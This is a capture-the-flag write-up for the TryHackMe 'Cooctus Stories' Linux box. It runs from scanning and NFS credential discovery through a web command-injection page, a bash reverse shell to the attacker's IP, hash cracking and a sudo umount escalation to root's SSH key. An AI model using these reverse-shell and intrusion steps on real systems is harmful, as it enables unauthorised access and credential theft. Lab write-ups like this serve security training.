Cooctus Stories (THM) - Write-up

Box info:

Name: Cooctus Stories

OS: Linux

Rated Difficulty: ðŸŸ©ðŸŸ©ðŸŸ¨ðŸŸ¨(medium)

Links: TryHackMe

====================================================================

Using nmap to scan the machine we've found 4 open ports: 22, 111, 2049 and 8080:

$ nmap -sC -sV 10.10.206.41    
                                  
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-15 10:30 EEST
Nmap scan report for 10.10.206.41         
Host is up (0.083s latency).                                       
Not shown: 996 closed ports                                        
PORT     STATE SERVICE VERSION                                     
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)                                                    
| ssh-hostkey:                                                     
|   2048 e5:44:62:91:90:08:99:5d:e8:55:4f:69:ca:02:1c:10 (RSA)
|   256 e5:a7:b0:14:52:e1:c9:4e:0d:b8:1a:db:c5:d6:7e:f0 (ECDSA)
|_  256 02:97:18:d6:cd:32:58:17:50:43:dd:d2:2f:ba:15:53 (ED25519)
111/tcp  open  rpcbind 2-4 (RPC #100000)
|rpcinfo:
|   program version    port/proto  service                           
|   100000  2,3,4        111/tcp   rpcbind                         
|   100000  2,3,4        111/udp   rpcbind                    
|   100000  3,4          111/tcp6  rpcbind                     
|   100000  3,4          111/udp6  rpcbind                       
|   100003  3           2049/udp   nfs   
|   100003  3           2049/udp6  nfs                             
|   100003  3,4         2049/tcp   nfs     
|   100003  3,4         2049/tcp6  nfs     
|   100005  1,2,3      35235/udp6  mountd  
|   100005  1,2,3      36605/tcp   mountd  
|   100005  1,2,3      52598/udp   mountd  
|   100005  1,2,3      58093/tcp6  mountd  
|   100021  1,3,4      35665/tcp   nlockmgr
|   100021  1,3,4      37413/udp   nlockmgr
|   100021  1,3,4      39666/udp6  nlockmgr
|   100021  1,3,4      42331/tcp6  nlockmgr                
|   100227  3           2049/tcp   nfs_acl                 
|   100227  3           2049/tcp6  nfs_acl                         
|   100227  3           2049/udp   nfs_acl                         
|_  100227  3           2049/udp6  nfs_acl                         
2049/tcp open  nfs_acl 3 (RPC #100227)
8080/tcp open  http    Werkzeug httpd 0.14.1 (Python 3.6.9)
|_http-server-header: Werkzeug/0.14.1 Python/3.6.9
|_http-title: CCHQ
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We'll start by visiting the port 8080 which is a website:

Nothing interesting on the landing page, let's continue with a gobuster scan:
$ gobuster dir -u http://10.10.206.41:8080/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt

/login (Status: 200)
/cat (Status: 302)

We can't access /cat because we'll get redirected to the /login page which we can't move further because we don't have the credentials to login:

Checking port 2049 which is a NFS service. We can check the shares with the following command:
$ showmount -e 10.10.206.41

Export list for 10.10.206.41:

/var/nfs/general *

Let's mount that directory using the next command:
Note: First create a directory on your machine so you can mount the shares to. I created a directory named 'dir' in /tmp as show in the command below.
$ sudo mount -t nfs 10.10.206.41:/var/nfs/general /tmp/dir

Inside the mounted shares there is a file named credentials.bak with the following content:
paradoxial.test
Sh<redacted>

Now that we have some credentials, we can try to login to port 8080 (website):

After we successfully login we are redirected to /cat page, which at first I thought is a script that execute the cat command (the name C.A.T kind of points to that command), but I was wrong.

This page allows you to execute other commands too, so I tried to ping myself and it worked:
Command executed on the /cat page:
ping -c 3 <YOUR MACHINE IP>

Response:
$ sudo tcpdump -i tun0 icmp  #Command executed on the attacker's machine
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
10:52:27.598440 IP 10.10.206.41 > phoenix: ICMP echo request, id 1395, seq 1, length 64
10:52:27.598577 IP phoenix > 10.10.206.41: ICMP echo reply, id 1395, seq 1, length 64
10:52:28.601203 IP 10.10.206.41 > phoenix: ICMP echo request, id 1395, seq 2, length 64
10:52:28.601232 IP phoenix > 10.10.206.41: ICMP echo reply, id 1395, seq 2, length 64
10:52:29.603851 IP 10.10.206.41 > phoenix: ICMP echo request, id 1395, seq 3, length 64
10:52:29.603903 IP phoenix > 10.10.206.41: ICMP echo reply, id 1395, seq 3, length 64

Looks like command execution works, so it's time to get a reverse shell on the box. I chose the following command to spawn a reverse shell:
Command:
/bin/bash -c 'bash -i >& /dev/tcp/10.8.0.116/1337 0>&1'

Now we have a shell on the box as user paradox. Inside paradox's home directory there is a note left by user szymex to user paradox that says:
Paradox,

I'm testing my new Dr. Pepper Tracker script. 
It detects the location of shipments in real time and sends the coordinates to your account.
If you find this annoying you need to change my super secret password file to disable the tracker.

You know me, so you know how to get access to the file.

- Szymex

So looks like we need to find the password for user szymex. In the same directory there is another file named SniffingCat which is a python file that those some encryption. The thing is that this file actually contains the password for user szymex:

Don't get excited yet, that password won't work because is ROT13 encrypted, which we have to decrypt:
Note: You can use any rot13 online decryptor you like.
Encoded ROT13:
pureelpbxr

Decoded:
ch<redacted>

Now we can can ssh in to the box as user szymex.
Let's head to tux's home directory that has 2 directories names tuxling_1 and tuxling_2:

Inside tuxling_1 there is another note that says:
Noot noot! You found me. 
I'm Mr. Skipper and this is my challenge for you.

General Tux has bestowed the first fragment of his secret key to me.
If you crack my NootCode you get a point on the Tuxling leaderboards and you'll find my key fragment.

Good luck and keep on nooting!

PS: You can compile the source code with gcc

Also here there is another file named nootcode.c that has the following content:
PS: Don't use gcc to compile the file
#define noot int
#define Noot main
#define nOot return
#define noOt (
#define nooT )
#define NOOOT "f96"
#define NooT ;
#define Nooot nuut
#define NOot {
#define nooot key
#define NoOt }
#define NOOt void
#define NOOT "NOOT!\n"
#define nooOT "050a"
#define noOT printf
#define nOOT 0
#define nOoOoT "What does the penguin say?\n"
#define nout "d61"

noot Noot noOt nooT NOot
    noOT noOt nOoOoT nooT NooT
    Nooot noOt nooT NooT

    nOot nOOT NooT
NoOt

NOOt nooot noOt nooT NOot
    noOT noOt NOOOT nooOT nout nooT NooT
NoOt

NOOt Nooot noOt nooT NOot
    noOT noOt NOOT nooT NooT
NoOt

This might look a bit weird, but if you read all the 'defines' you can see some interesting text that if we put together it starts to look like a a MD5 hash:
Retrieved fragment code 1: f96050ad61

We are done with tuxling_1 so let's go to tuxling_3 where we can find another note that says:
Hi! Kowalski here. 
I was practicing my act of disappearance so good job finding me.

Here take this,
The last fragment is: 637b56db1552

Combine them all and visit the station.

Look like here is the last fragment code 3: 637b56db1552

We won't manage to crack this hash because it's no complete. A MD5 hash has 32 characters, while the hash that we have has only 22 characters. If we take a closer look, there is a directory named tuxling_1 and tuxling_3, but where is tuxling_2?

Finding the tuxling_2 directory is quite easy, just use the following command:
/home/tux$ find / -name 'tuxling_*' 2>/dev/null
/home/tux/tuxling_3
/home/tux/tuxling_1
/media/tuxling_2

Inside the tuxling_2 are 3 files:
The note file that says:
Noot noot! You found me. 
I'm Rico and this is my challenge for you.

General Tux handed me a fragment of his secret key for safekeeping.
I've encrypted it with Penguin Grade Protection (PGP).

You can have the key fragment if you can decrypt it.

Good luck and keep on nooting!

A fragment.asc and a private.key file. The note mentions something about PGP encryption, so we'll send the last 2 file to our machine and use a software to decrypt the fragment.asc file.

First command that we'll execute will be:
$ gpg --import private.key 

gpg: /home/linked/.gnupg/trustdb.gpg: trustdb created
gpg: key B70EB31F8EF3187C: public key "TuxPingu" imported
gpg: key B70EB31F8EF3187C: secret key imported
gpg: Total number processed: 1
gpg:               imported: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1

And the second command will be:
$ gpg file.pgp            
gpg: WARNING: no command supplied.  Trying to guess what you mean ...
gpg: encrypted with 3072-bit RSA key, ID 97D48EB17511A6FA, created 2021-02-20
      "TuxPingu"

After we run the second command, a new file with the following content will be created:
The second key fragment is: 6e<redacted>

Now we can combine all the code fragments and crack the hash:
Note: I used crackstation to crack the hash.
f96050ad616e<redacted>637b56db1552

And we'll get the password immediately:
tu<redacted>

And now we can login as user tux with the password that we just cracked. If we check the privileges on the machine for user tux, we can see that he can execute a file as user varg.

Inside varg's home directory there is a directory named cooctOS_src. If we access it and list all the content inside (including the hidden files)) using the 'ls -al' command, we can see that there is a .git directory.

Inside the .git directory if use the 'git show' command we'll get a python script code:

-#!/usr/bin/python3
-
-import time
-import os;
-import pty;
-
-#print(chr(27)+ "[2J")
-logo = """\033[1;30;49m
- ██████╗ ██████╗  ██████╗  ██████╗████████╗ \033[1;37;49m██████╗ ███████╗\033[1;30;49m
-██╔════╝██╔═══██╗██╔═══██╗██╔════╝╚══██╔══╝\033[1;37;49m██╔═══██╗██╔════╝\033[1;30;49m
-██║     ██║   ██║██║   ██║██║        ██║   \033[1;37;49m██║   ██║███████╗\033[1;30;49m
-██║     ██║   ██║██║   ██║██║        ██║   \033[1;37;49m██║   ██║╚════██║\033[1;30;49m
-╚██████╗╚██████╔╝╚██████╔╝╚██████╗   ██║   \033[1;37;49m╚██████╔╝███████║\033[1;30;49m
- ╚═════╝ ╚═════╝  ╚═════╝  ╚═════╝   ╚═╝    \033[1;37;49m╚═════╝ ╚══════╝\033[1;30;49m
-"""
-print(logo)
-print("                       LOADING")
-print("[", end='')
-
-for i in range(0,60):
-    #print(chr(27)+ "[2J")
-    #print(logo)
-    #print("                       LOADING")
-    print("[", end='')
-    print("=" * i, end='')
-    print("]")
-    time.sleep(0.02)
-    print("\033[A\033[A")
-
-print("\032")
-print("\033[0;0m[ \033[92m OK  \033[0;0m] Cold boot detected. Flux Capacitor powered up")
-
-print("\033[0;0m[ \033[92m OK  \033[0;0m] Mounted Cooctus Filesystem under /opt")
-
-print("\033[0;0m[ \033[92m OK  \033[0;0m] Finished booting sequence")
-
-print("CooctOS 13.3.7 LTS cookie tty1")
-uname = input("\ncookie login: ")
-pw = input("Password: ")
-
-for i in range(0,2):
-    if pw != "sl<redacted>":  #HERE IS A PASSWORD
-        pw = input("Password: ")
-    else:
-        if uname == "varg":
-            os.setuid(1002)
-            os.setgid(1002)
-            pty.spawn("/bin/rbash")
-            break
-        else:
-            print("Login Failed")
-            break

This python code has the password for user varg.

Now that we found the password we can login as user varg. This user has some privileges on the box as well:

Looks like it can run the umount command as root. Now this looks a bit weird because I haven't seen a method to get a root shell by executing the umount SUID.

If we execute the mount command we can see what is mounted on the box:

We can see that in /opt there is a directory named CooctFS that is mounted, so the logical thins is to use umount on it:
Note: The /opt/CooctFS has nothing that we can use.
sudo umount /opt/CooctFS

Now if we go inside the /opt/CooctFS we'll see that a root directory has appeared:

Now we can simply go inside of this root directory and copy the id_rsa key from the .ssh directory. After that we can use that id_rsa key to login to the box as root.

And like that we managed to root this box!


Comments